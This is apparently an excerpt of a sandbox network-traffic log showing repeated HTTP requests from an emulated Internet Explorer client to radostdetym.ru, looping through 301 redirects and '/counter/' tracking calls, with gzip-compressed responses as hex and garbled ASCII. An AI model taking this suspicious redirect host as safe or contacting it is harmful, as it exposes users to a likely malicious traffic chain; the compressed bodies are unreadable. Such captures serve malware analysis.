0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 72 61 64 6f 73 74 64 65 74 79 6d 2e 72 75 2f 3f 61 64 3d 31 4a 58 53 58 79 62 7a 45 6a 6a 52 4a 51 44 62 56 6e 67 54 79 37 64 38 6b 45 46 41 78 6d 67 6d 44 4e 26 61 6d 70 3b 69 64 3d 72 57 6f 41 39 70 54 51 68 56 31 6f 34 63 35 66 6a 62 4f 61 2d 64 32 36 42 47 68 33 Data Ascii: 1c1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3
Nov 20, 2024 08:15:20.374341965 CET	183	IN	Data Raw: 51 55 33 2d 42 6b 30 50 71 49 34 57 6e 7a 4d 2d 35 76 6c 34 49 71 4b 50 79 6d 68 72 71 6b 52 70 75 6e 46 5f 50 54 48 6b 74 4d 52 2d 32 71 55 6c 4e 41 74 6e 58 41 26 61 6d 70 3b 72 6e 64 3d 34 32 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c Data Ascii: QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address></body></html>0
Nov 20, 2024 08:15:20.385552883 CET	741	OUT	GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2o6i; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:21.179441929 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:15:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: _subid=1ccvtc11gv2orr; expires=Mon, 25-Nov-2024 07:15:20 GMT; Max-Age=432000; path=/; domain=.radostdetym.ru Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QEZ62G206Mm7xEe2xO0H97kfM%2F0BeTcl8oN5Wb0Fne8KbVaholomt5tH9ubM%2F9CapcYzLCVgSQluhB8smtgoXnUBDl%2BQpcJNR4CINDQn%2FUq3K1DPY1I6y9rQ8GS6bV1Chg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a5f4b92f4407-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2050&sent=14&recv=9&lost=0&retrans=0&sent_bytes=9844&recv_bytes=2396&delivery_rate=4031293&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 32 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5c fd 6e 1b 57 76 ff db 06 fc 0e d7 0c 8c 58 5b 7e eb c3 12 23 09 c9 a6 bb 68 d0 2c 36 d8 4d 5a a4 45 21 8c c8 21 39 f1 90 33 3b 33 b2 a4 0d 02 48 94 9d d8 90 6c 65 bd 69 53 a4 9b 38 d9 b6 28 fa c7 02 34 2d 5a 34 25 51 af 70 ef 2b e4 05 ea 47 28 ce 39 f7 ce dc 19 0e 29 39 dd b4 35 12 5b 9c b9 9f e7 e3 77 7e e7 dc 4b 5d bb ba 7c fd 2f 7f f9 f6 fb 1f be f7 33 d6 0c 5a f6 ea b5 ab cb f0 2f b3 8d 76 63 25 e3 6d e4 7e f5 41 86 b9 9e 59 b7 b6 56 32 4e a3 c2 9a 41 e0 fa 95 42 c1 69 b8 f9 96 59 68 fb af 65 98 15 98 2d bf ea b8 26 fe 14 6c bb e6 4a 06 da 55 0a 05 bf da 34 5b 46 de f1 1a 85 bf 35 d7 df 33 1a 66 06 e7 30 8d da ea b5 ab 8c 31 b6 dc 32 03 83 55 9b 86 e7 9b c1 4a e6 83 f7 7f 9e 5b cc c4 de b5 8d 96 b9 92 b9 63 99 9b ae e3 05 19 56 75 da 81 d9 0e 56 32 9b 56 2d 68 ae d4 cc 3b 56 d5 cc e1 87 2c b3 da 56 60 19 76 ce af 1a b6 Data Ascii: 1623\nWvX[~#h,6MZE!!93;3HleiS8(4-Z4%Qp+G(9)95[w~K]\|/3Z/vc%m~AYV2NABiYhe-&lJU4[F53f012UJ[cVuV2V-h;V,V`v
Nov 20, 2024 08:15:21.179517031 CET	1236	IN	Data Raw: b9 52 ca 17 d3 c6 aa 99 7e d5 b3 dc c0 72 da da 70 fc 8f 62 87 0f f8 50 ec 32 3e e4 5d 7e cc 07 fc 8c 8f d8 f7 5f ff db 7f 0d 0e 19 7f c2 47 fc 44 ec 89 cf f8 40 74 c4 01 e3 4f f9 88 9f 89 3d b1 db 6c b0 b7 0d df 6a 3b ec 7d cf da 62 2f 9f 3c fc Data Ascii: R~rpbP2>]~_GD@tO=lj;}b/<]O`(6iO2}mP=}~GIt>_}bGbW2>`E.W3q^6/!gXMHW9]~"?zGSjzc
Nov 20, 2024 08:15:21.179558039 CET	1236	IN	Data Raw: 9a 65 b0 9b 1a a4 df 5a 58 74 b7 66 68 15 3a d0 31 44 b8 5c cd f2 48 7f 15 98 7b a3 45 80 96 80 34 6c e9 07 86 17 e0 5b 9c 8a 31 e9 fd 72 34 29 e2 c0 71 2b 91 e9 c7 5b 1a 89 b6 04 3a c5 37 62 0f 3d 19 f7 b4 21 70 94 c2 4f d8 5b b5 1a 6a ca b0 59 Data Ascii: eZXtfh:1D\H{E4l[1r4)q+[:7b=!pO[jY^Fi'TR6\|xn[@y~>L5qsuL&4,CVrVm4eTHD_8&IA4o[AN>r+hAhRuyQg1B56w7K\|$V
Nov 20, 2024 08:15:24.469737053 CET	749	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2orr; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:25.183959961 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:25 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5XoiTMjOBW1a4gw9d5MMtCfjiVuyml%2BCAogJEgWeLAxT3iWhpes3U4uRoTSfjEaMKJX0k8VLHYzNXGuLxUHdHUI4%2FEcruMLRVBWT27gzgmHLFZ80IULMnzmuhtnlM%2F6S%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a60e387b4407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2061&sent=21&recv=11&lost=0&retrans=0&sent_bytes=16479&recv_bytes=3145&delivery_rate=4091546&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 72 61 64 6f 73 74 64 65 74 79 6d 2e 72 75 2f 3f 61 64 3d 31 4a 58 53 58 79 62 7a 45 6a 6a 52 4a 51 44 62 56 6e 67 54 79 37 64 38 6b 45 46 41 78 6d 67 6d 44 4e 26 61 6d 70 3b 69 64 3d 72 57 6f 41 39 70 54 51 68 56 31 6f 34 63 35 66 6a 62 4f 61 2d 64 32 36 42 47 68 33 Data Ascii: 1c1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3
Nov 20, 2024 08:15:25.280931950 CET	741	OUT	GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2orr; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:26.150428057 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: _subid=1ccvtc11gv2phm; expires=Mon, 25-Nov-2024 07:15:25 GMT; Max-Age=432000; path=/; domain=.radostdetym.ru Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VibKjhJv5fG5oBPguGRGbYg3%2FKS6ePcqI7hxDu6Cxu%2Fgj22%2F4OaIjVIEte%2BN50ZzjCDeFaDpFk7p2KvCaEGkhYW44GnJrqXmVEUD4WeRT3zDIW9ce8RM2GxUm4y3sf5XTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a6134b824407-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2070&sent=24&recv=13&lost=0&retrans=0&sent_bytes=17898&recv_bytes=3886&delivery_rate=4091546&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 32 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5c fd 6e 1b 57 76 ff db 06 fc 0e d7 0c 8c 58 5b 7e eb c3 12 23 09 c9 a6 bb 68 d0 2c 36 d8 4d 5a a4 45 21 8c c8 21 39 f1 90 33 3b 33 b2 a4 0d 02 48 94 9d d8 90 6c 65 bd 69 53 a4 9b 38 d9 b6 28 fa c7 02 34 2d 5a 34 25 51 af 70 ef 2b e4 05 ea 47 28 ce 39 f7 ce dc 19 0e 29 39 dd b4 35 12 5b 9c b9 9f e7 e3 77 7e e7 dc 4b 5d bb ba 7c fd 2f 7f f9 f6 fb 1f be f7 33 d6 0c 5a f6 ea b5 ab cb f0 2f b3 8d 76 63 25 e3 6d e4 7e f5 41 86 b9 9e 59 b7 b6 56 32 4e a3 c2 9a 41 e0 fa 95 42 c1 69 b8 f9 96 59 68 fb af 65 98 15 98 2d bf ea b8 26 fe 14 6c bb e6 4a 06 da 55 0a 05 bf da 34 5b 46 de f1 1a 85 bf 35 d7 df 33 1a 66 06 e7 30 8d da ea b5 ab 8c 31 b6 dc 32 03 83 55 9b 86 e7 9b c1 4a e6 83 f7 7f 9e 5b cc c4 de b5 8d 96 b9 92 b9 63 99 9b ae e3 05 19 56 75 da 81 d9 0e 56 32 9b 56 2d 68 ae d4 cc 3b 56 d5 cc e1 87 2c b3 da 56 60 19 76 ce af Data Ascii: 162d\nWvX[~#h,6MZE!!93;3HleiS8(4-Z4%Qp+G(9)95[w~K]\|/3Z/vc%m~AYV2NABiYhe-&lJU4[F53f012UJ[cVuV2V-h;V,V`v
Nov 20, 2024 08:15:26.175904036 CET	749	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2phm; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:26.952148914 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:26 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B3CVfcxhM3r7JjBnB0EaalSSiG49bv5vaF9GogDbUqTtgNTMtLr%2Fv3dP05u5U6jbil3N5Ym5BQru4XhqxuuokQtB8eUkkjvV29ZWGGGKQ1fu8NDossE4fE2GbnPUs4LMoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a618eeaf4407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2079&sent=31&recv=15&lost=0&retrans=0&sent_bytes=24530&recv_bytes=4635&delivery_rate=4101123&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 72 61 64 6f 73 74 64 65 74 79 6d 2e 72 75 2f 3f 61 64 3d 31 4a 58 53 58 79 62 7a 45 6a 6a 52 4a 51 44 62 56 6e 67 54 79 37 64 38 6b 45 46 41 78 6d 67 6d 44 4e 26 61 6d 70 3b 69 64 3d 72 57 6f 41 39 70 54 51 68 56 31 6f 34 63 35 66 6a 62 4f 61 2d 64 32 36 42 47 68 33 51 55 33 2d 42 6b Data Ascii: 1c1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk
Nov 20, 2024 08:15:26.966490030 CET	741	OUT	GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2phm; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:27.757189989 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:15:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: _subid=1ccvtc11gv2ppf; expires=Mon, 25-Nov-2024 07:15:27 GMT; Max-Age=432000; path=/; domain=.radostdetym.ru Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PC67WpgSgfqBcTJLP5InpB4NBdUvIEZMpcUSPgV3rrFFaJk0gnue33zHd3Hfww5LE6q5EtXNUihMlPx98JjiA6KhhvQ4BHXjdHMEKvjp6vDdAC0UUpSXhzH5DQG2qJogkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a61dda2b4407-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2083&sent=34&recv=17&lost=0&retrans=0&sent_bytes=25943&recv_bytes=5376&delivery_rate=4101123&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 32 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5c fd 6e 1b 57 76 ff db 06 fc 0e d7 0c 8c 58 5b 7e eb c3 12 23 09 c9 a6 bb 68 d0 2c 36 d8 4d 5a a4 45 21 8c c8 21 39 f1 90 33 3b 33 b2 a4 0d 02 48 94 9d d8 90 6c 65 bd 69 53 a4 9b 38 d9 b6 28 fa c7 02 34 2d 5a 34 25 51 af 70 ef 2b e4 05 ea 47 28 ce 39 f7 ce dc 19 0e 29 39 dd b4 35 12 5b 9c b9 9f e7 e3 77 7e e7 dc 4b 5d bb ba 7c fd 2f 7f f9 f6 fb 1f be f7 33 d6 0c 5a f6 ea b5 ab cb f0 2f b3 8d 76 63 25 e3 6d e4 7e f5 41 86 b9 9e 59 b7 b6 56 32 4e a3 c2 9a 41 e0 fa 95 42 c1 69 b8 f9 96 59 68 fb af 65 98 15 98 2d bf ea b8 26 fe 14 6c bb e6 4a 06 da 55 0a 05 bf da 34 5b 46 de f1 1a 85 bf 35 d7 df 33 1a 66 06 e7 30 8d da ea b5 ab 8c 31 b6 dc 32 03 83 55 9b 86 e7 9b c1 4a e6 83 f7 7f 9e 5b cc c4 de b5 8d 96 b9 92 b9 63 99 9b ae e3 05 19 56 75 da 81 d9 0e 56 32 9b 56 2d 68 ae d4 cc 3b 56 d5 cc e1 87 2c b3 da 56 60 19 76 ce af 1a b6 b9 52 ca 17 d3 c6 Data Ascii: 162d\nWvX[~#h,6MZE!!93;3HleiS8(4-Z4%Qp+G(9)95[w~K]\|/3Z/vc%m~AYV2NABiYhe-&lJU4[F53f012UJ[cVuV2V-h;V,V`vR
Nov 20, 2024 08:15:27.840257883 CET	749	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2ppf; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:28.594986916 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:28 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DJgIyvSJWb%2FHo2k3gv2ONpdLsTSFdyunq7wiom%2F%2BiEi9UiWSwq9gxBLAUQM70Og2YfALTXEIjT3l1IajJ9Fn61LMdQuH4DmmETbzs%2BJ2ZO8%2FaRyWDrmgWqG%2BC3NU305VQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a6234d7e4407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2092&sent=41&recv=19&lost=0&retrans=0&sent_bytes=32567&recv_bytes=6125&delivery_rate=4101123&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 72 61 64 6f 73 74 64 65 74 79 6d 2e 72 75 2f 3f 61 64 3d 31 4a 58 53 58 79 62 7a 45 6a 6a 52 4a 51 44 62 56 6e 67 54 79 37 64 38 6b 45 46 41 78 6d 67 6d 44 4e 26 61 6d 70 3b 69 64 3d 72 57 6f 41 39 70 54 51 68 56 31 6f 34 63 35 66 6a 62 4f 61 2d 64 32 36 Data Ascii: 1c1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26
Nov 20, 2024 08:15:28.607832909 CET	741	OUT	GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2ppf; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
